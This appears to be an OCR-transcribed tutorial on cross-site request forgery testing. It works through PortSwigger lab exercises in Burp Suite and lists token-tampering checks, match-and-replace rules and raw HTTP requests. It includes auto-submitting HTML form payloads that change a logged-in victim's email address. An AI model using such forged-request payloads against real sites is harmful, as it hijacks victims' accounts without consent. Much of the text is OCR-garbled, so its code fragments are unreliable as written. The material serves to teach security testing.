CSRF

CSRF

What is it

CSRF - Cross site request forgery
CSRF is an attack technique that attempts to circumvent a defensive technique that is marked by CSRF tokens.

Say you are a website builder and you are creating a new website. You create the profile section which allows you to
update your address. Now along comes a bad actor. They analyse the request and are able to forge it. They create
their own website and they put a button on there which will call the profile section of your website and which will
update the address.

This means that the attacker can update my address from his website. This may seem pretty innocent but what if
instead we replace the functionality with a bank? What if the attacker can send money from the current active
account to his account? That would change the matter entirely.

To prevent this, you as a website builder have several options. One of them is implementing a CSRF token. This token
is an extra parameter for your request and is generated on the server and visible to the browser but only via your
website. As an attacker, there is no way to gain access to this token without using some illicit tactics (which we will
dig deeper into later). If the attacker wants to make the same request, he is missing the CSRF token parameter
which will not complete the request and return an error. Hack successfully blocked... or is it?

Attack strategy

Though the idea of CSRF tokens is very solid, It's easy to mess up the implementation. We as pentesters have several
options to test for:

* Remove the CSRF token from requests

¢ Replace the CSRF token with a random value (for example 1)

* Replace the CSRF token with a random token of the same restraints
o Leave CSRF Parameter empty

e Use a CSRF token that has been used before

» See if you can request a CSRF by executing the call manually and use that token for the request

Automation

Yes, it is possible to automate this. We will be using the match and replace functions of burp.
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‘Dashboard |Target ||Proxy IIInlruder ]Repeater Sequencer |Decuder Comparer | Extender | Project options | User options | Autorize | intigriti

(Inrercept THTTP history TWebSocke(s history |0ptions I

Up
Down ]

[ Automatically update Content-Length header when the response is edited

@ Intercept WebSockets Messages

Use these settings to control which WebSockets messages are stalled for viewing and editing in the Intercept tab.

[ Intercept client-to-server messages

[ Intercept server-to-client messages

@ Response Modification

These settings are used to perform automatic modification of responses.

[J Unhide hidden form fields
Prominently highlight unhidden fields
(J Enable disabled form fields
[J Remove input field length limits
[J Remove JavaScript form validation
(J Remove all JavaScript
(J Remove <object> tags
(J Convert HTTPS links to HTTP

[J Remove secure flag from cookies

® Match and Replace

@ These settings are used to automatically replace parts of requests and responses passing through the Proxy.

[ Add J Enabled | Item | Match | Replace | Type | Comment |
P a Request header AUser-Agent.*$ User-Agent: Mozilla/4.0 (compa... Regex Emulate IE A
Edit a Request header AUser-Agent.*$ User-Agent: Mozilla/5.0 (iPhon Regex Emulate iOS ’\
a Request header AUser-Agent.*$ User-Agent: Mozilla/5.0 (Linux; ... Regex Emulate Android
Remove (@] Request header Alf-Modified-Since.*$ Regex Require non-cached response >
a Request header Alf-None-Match.*$ Regex Require non-cached response
Up a Request header AReferer.*$ Regex Hide Referer header f
(@] Request header AAccept-Encoding.*$ Regex Require non-compressed respons...
l Down (@] Response header  ASet-Cookie.*$ Regex Ignore cookies v

(7) TLS Pass Through

Depending on if the CSRF token is in the HEADER or the BODY section of the request, we will need to pick one.

CSRF
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00 @ Add match/replace rule

@ Specify the details of the match/replace rule.

Type: Request header
Match Request header
fch:
e Request body
Replace: _Response header

Response body
Comment: | Request param name
Request param value

L Regex m Request first line

| oK || Cancel |

Fill in the regex to indicate to burp how it can find the CSRF token in your request and replace it with a value of your
own. Be careful, this is just an example, it may be different for your target.

® 0 Add match/replace rule

@ Specify the details of the match/replace rule.

Type: [ Request header ‘ v]

Match: CSRF=*

Replace: CSRF=12343525435

Comment: | CSRF token|

(Y] Regex match

[ OK ] [ Cancel ]

When this rule is active, click through the application and try to make changes. If you are able to make changes
where a CSRF token is normally expected, investigate this further. It may be a vulnerability. To restore normal
functionality, simply disable this rule.

CSRF
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® Match and Replace

{S} These settings are used to automatically replace parts of requests and responses passing through the Proxy.

l Add J Enabled | Item | Match | Replace | Type | Comment
. ] Request header AReferer.*$ Regex Hide Referer header
Edit 8] Request header AAccept-Encoding.*$ Regex Require non-compressed respons...
a Response header  ASet-Cookie.*$ Regex Ignore cookies
Remove O Request header AHost: foo.example.org$  Host: bar.example.org Regex Rewrite Host header
] Request header Origin: foo.example.org Literal Add spoofed CORS origin
Up ] Response header  AStrict\-Transport\-Sec... Regex Remove HSTS headers
Response header X-XSS-Protection: 0 Literal Disable browser XSS protection
Down @ Request header CSRF=* CSRF=12343525435 Regex CSRF token

Practical methodology

Portswigger labs

We will be using the portswigger labs for this section and we will be creating our methodology in this section.

CSRF vulnerability with no defenses

Lab: CSRF vulnerability with no defenses | Web Security Academy

With your browser proxying traffic through Burp Suite, log in to your account, submit the "Change Web Security
email" form, and find the resulting request in your Proxy history. If you're using Burp Suite

Professional, right-click on the request, and from the context menu select Engagement tools / Acadel I Iy I g l
E9 nttps://portswigger.net/web-security/csrf/lab-no-defenses
« Log into the academy, start the lab and open up your burp suite.
* Copy the URL of the lab, but only the resource name

o hitps:#facldifdaled2a20f80ed507400ce0053.web-security-academy.net/pest?2pestid=6

« Only the first part of the URL, make sure you also remove the https in front of the URL:
» acldifdaled2a20f80ed507400ce0053.web-security-academy.net

+ Navigate to the target tab and open the scope tab.
+ Make sure the "Use advanced scope control" checkmark is checked
o Click the "Add" button

« Paste the resource

CSRF
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https://portswigger.net/web-security/csrf/lab-no-defenses
https://ac1d1fda1ed2a20f80ed507400ce0053.web-security-academy.net/post?postId=6
https://ac1d1fda1ed2a20f80ed507400ce0053.web-security-academy.net/post?postId=6
https://ac1d1fda1ed2a20f80ed507400ce0053.web-security-academy.net/post?postId=6
https://ac1d1fda1ed2a20f80ed507400ce0053.web-security-academy.net/post?postId=6

Dashboard I Target I Proxy T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options 1

Site map l Scope [ Issue definitions ]

® Target Scope

{é}} Define the in-scope targets for your current work. This configuration affects the behavior of tools throughout the suite. The easiest way to configure scope is to bi
include or exclude URL paths.

[ [¥) Use advanced scope control I

5
o
=
Qo
™
5
«
n
(<]
°
)

|[ Add ] Enabled | Protocol | Host / IP range | Port | File
-
[ NON ) Add URL to include in scope
Paste URL
Specify a regular expression to match each URL component, or leave blank
Load ... to match any item. An IP range can be specified instead of a hostname.
Exclude from scope Protocol: [A"Y | v]
[ Add ] Enabled | Protocol | Host / IP range ‘ I Host or IP range: reSOUl'geie or leave blank I
Edit Port: Enter regex or leave blank
File: Enter regex or leave blank

Remove

Paste URL

pllel

* Go to the proxy tab and open a browser

« Paste the full URL of the lab
When we open up this lab, the first thing we have to do is look at what functionality is available.
We can see that we have a blogging website where we can:

» Login (carlos / montoya)

¢ Leave a comment

» Change our email

Let's try to change our email

CSRF
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© & acld1fdaled2a20f80ed507400ce0053.web-security-academy.net

Web SeCUI’ity CSRF vulnerability with no defenses

Academy[?] XYY IESTRPBR o oot

Change email

Email

test@gmail.com

Update email

CSRF
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CSRF

| o [ J Burp Suite Professional v2020.8 - Temporary Project - licensed to Avnu [single user license]

f Dashboard TTarget I Proxy "Intruder TRepeater TSequencer T Decoder TComparer T Extender T Project options TUser options ]

Intercept I HTTP history ||WebSockets history TOptions ]

Logging of out-of-scope Proxy traffic is disabled -

| Filter: Hiding CSS, image and general binary content

¥ | Host | Method | URL | Params | Edited | Status | Length | MIME type | Extension | Title | Comm
https://acld1fdaled2a20f8... GET /academyLabHeader 101 147
https://acld1fdaled2a20f8... GET / 200 7643 HTML CSRF vulnerability with...
https://acld1fdaled2a20f8... POST | /email/change-email | v 302 94
https://acld1fdaled2a20f8... GET /academyLabHeader 101 147
https://acld1fdaled2a20f8... GET /email 200 3114 HTML CSRF vulnerability with...
https://acld1fdaled2a20f8... GET /resources/images/blog.svg 200 7512 XML svg
https://acld1fdaled2a20f8... GET /academyLabHeader 101 147
https://acld1fdaled2a20f8... GET / 200 7643 HTML CSRF vulnerability with...
https://acld1fdaled2a20f8.. POST /login v 302 253
https://acld1fdaled2a20f8.. GET /academyLabHeader 101 147
https://acld1fdaled2a20f8.. GET /login 200 3130 HTML CSRF vulnerability with...
https://acld1fdaled2a20f8.. GET /resources/images/avatarDefault.s... 200 10018 XML svg
https://acld1fdaled2a20f8... GET /resources/images/ps-lab-notsolv... 200 955 XML svg
hnﬁt'l Iar1d1fd21ad2220FR CET Iracnnurcac limanac llaanAcradamy 200 fQK1 YMI cvn

<

Request | Response

Raw | Params | Headers | Hex

|POST /email/change-email HTTP/1.1 l
~web-security-academy.net

1

2 H

3 Connection: close

4 Content-Length: 22

5 Cache-Control: max-age=0

6 Upgrade-Insecure-Requests: 1

7 Origin: https://acldlfdaled2a20£80ed507400ce0053.web-security-academy.net
8 Content-Type: application/x-www-form-urlencoded

©

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36

10 Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

11 Sec-Fetch-Site: same-origin

12 Sec-Fetch-Mode: navigate

13 sec-Fetch-User: 2?1

14 sec-Fetch-Dest: document

15 Referer: https://acldlfdaled2a20£80ed507400ce0053.web-security-academy.net/email
16 Accept-Encoding: gzip, deflate

17 Accept-Language: en-GB,en-US;gq=0.9,en;g=0.8

18 Cookie: session=1YCQF9hSODf8NIOIWPEauigxnA3cRRWJ

1
ZOIemail=test%40gmail.com I

We can now do the see a request being made to POST /email/change-email with no CSRF token in place.

Now navigate to https://security.love/CSRF-PoC-Genorator/ , we are going to generate a PoC.

https://t. me/learningnets


https://security.love/CSRF-PoC-Genorator/

CSRF PoC Generator

Method:

POST v
Encoding

application/x-www-form-urlencoded v
Data:

email=test234123123%40gmail.com

URI:

0f80ed507400ce0053.web-security-academy.net/email/change-email

Download CSRF PoC!

Copy the email parameter from the request in burp and paste it in the PoC generator, make sure you make some
changes so you can verify this CSRF attack later on. To grab the URI, we can right click on our request in burp and
click on "Copy URL" from the dropdown menu.
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CSRF

security-academy.netc

Scan
e0053.web-security-ad Do passive scan
oded .
'in64; x64) ApplewWebki DO activescan 1.0.4147.105 safari/53
lication/xml;qg=0.9,in gandto Intruder 884+ ~4| f[lon/signed-exchange;wv:
Send to Repeater #+"~+R

Send to Sequencer
Send to Comparer
Send to Decoder

ce0053.web-security-4

Show response in browser
CRRWJ

v

Request in browser

Engagement tools >
| Copy URL |

Copy as curl command

Copy to file

Save item

Convert selection >
Cut B+ +X
Copy #B+~+C
Paste B+ +V
Message editor documentation

Proxy history documentation

Now Download the PoC, it should download an HTML file. When you open this file, you should see a button. Make
sure you are logged in in another tab and click the button. This should change the users email adress. Verify this if
you are doing bug bounties.

For this lab, we can not complete it in this way and we can not verify the change. To complete the lab, open it again.
There will be a button "Go to exploit server", click it and paste the following code into the "body" field:

form method="POST" action="https://acldifdaled2a20f80ed507400ced053.web-security-academy.net/email/change-email
input type="hidden" name="email" value="test231324@gmail.com

form

script
document . forms[@].submit();

script

Make sure you replace the action URL with the URL of your lab. Next click "store" and then click "exploit".

CSRF where token validation depends on request method

We repeat the same steps as before until we change our email one time. We should now see another request to POST
/email/change-email. Let's right click this request and send it to the repeater.

If we change our provided CSRF token, we can see that our request is not accepted.
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[ send | [ cancel | [ <|v > v Target: https://ac411f2d1e9289fc809251c5007200da.web-securi

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
1 POST /email/change-email HTTP/1.1 A 1 HTTP/1.1 400 Bad Request
2 Host: ac411£f2d1e9289£fc809251c5007200da.web-security-academy.net r 2 Content-Type: application/json; charset=utf-8
3 Connection: close 3 X-XSS-Protection: 0
4 Cache-Control: max-age=0 4
5 Upgrade-Insecure-Requests: 1
6 origin:

https://ac411£2d1e9289£c809251c5007200da.web-security-academy.net

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp, image/a

png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User:

Sec-Fetch-Dest: document

Referer:

https://ac411£2d1e9289£c809251c5007200da.web-security-academy.net/email

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

Cookie: session=Vod9PLg2PMNfumbuefWpMLCn78dzItGq

Content-Type: application/x-www-form-urlencoded

Content-Length:| 37

<

©

Wi ow
w

cLouans

email=test123213%40gmail.

However we can also send our POST parameters as GET parameters in a GET request. Some servers also accept GET
requests instead of POST request. Burp can easily transform our method by right clicking the request and picking
"change request method" from the context menu.

CSRF
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POST /email/change-email HTTP/1.1

Host: ac411£2d1e9289£c809251¢c5007200da.web-security-academy.net

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin:

https://ac411£2d1e9289£fc809251c5007200da.web-security-academy.net

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.3¢
(KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/:

png,*/*;g=0.8,application/signed-exchange;v=b3;g=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: 2?1

Sec-Fetch-Dest: document

Referer: S
https://ac411£2d1e9289fc809251 can L]
Accept-Encoding: gzip, deflatg Do passive scan

Accept-Language: en-GB,en-US;g

Cookie: session=Vod9PLg2PMNfun| Do active scan

Content-Type: application/x-w Send to Intruder B+~ +1
SontenEaTienEnEgey) Send to Repeater ®+~+R
email=test123213%40gmail.com&d Send to Sequencer

Send to Comparer

Send to Decoder

Show response in browser

Request in browser »

Engagement tools »

I Change request method |
Change body encoding
Copy URL
Copy as curl command
Copy to file
Paste from file

Save item

Save entire history
Paste URL as request
Add to site map

Convert selection >
URL-encode as you type

Cut E+"+X
Copy 8+~+C

Paste B+ +V
){3}} search... Message editor documentation _

Riirmn Ranaatar daciimantatinn

This will give us a GET request:

GET /email/change-email?email=test123213%40gmail.com&csrf=123 HTTP/1.1

Host: ac411f2d1e9289fc809251c5007200da.web-security-academy.net

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: https://ac411f2d1e9289fc809251c5007200da.web-security-academy.net

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, image/apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Referer: https://ac411f2d1e9289fc809251c5007200da.web-security-academy.net/email

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

Cookie: session=Vod9PLg2PMNfumbuefWpMLCN78dZItGq

CSRF
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Which we can again try to enter in our CSRF PoC generator to prove impact.

CSRF PoC Generator

Method:

GET v
Encoding

application/x-www-form-urlencoded v
Data:

URI:

fc809251c5007200da.web-security-academy.net/email/change-email

Download CSRF PoC!

To solve this lab, we need to make some changes to the payload from the previous lab.

<form method="GET" action="https://acldlfdaled2a20f80ed507400ce0053.web-security-academy.net/email/change-email"
input type="hidden" name="email" value="test231324@gmail.com">

/form

script>
document . forms[@].submit();

</script>

We can again paste this payload in our exploit server and execute the exploit to complete the lab.

Validation of CSRF token depends on token being present

For this lab, we need to repeat the same steps as before, but this time, we need to remove the CSRF token.
Sometimes servers validate a token when it's there and give an error when it's not correct but they might not validate
any token if it's not there.
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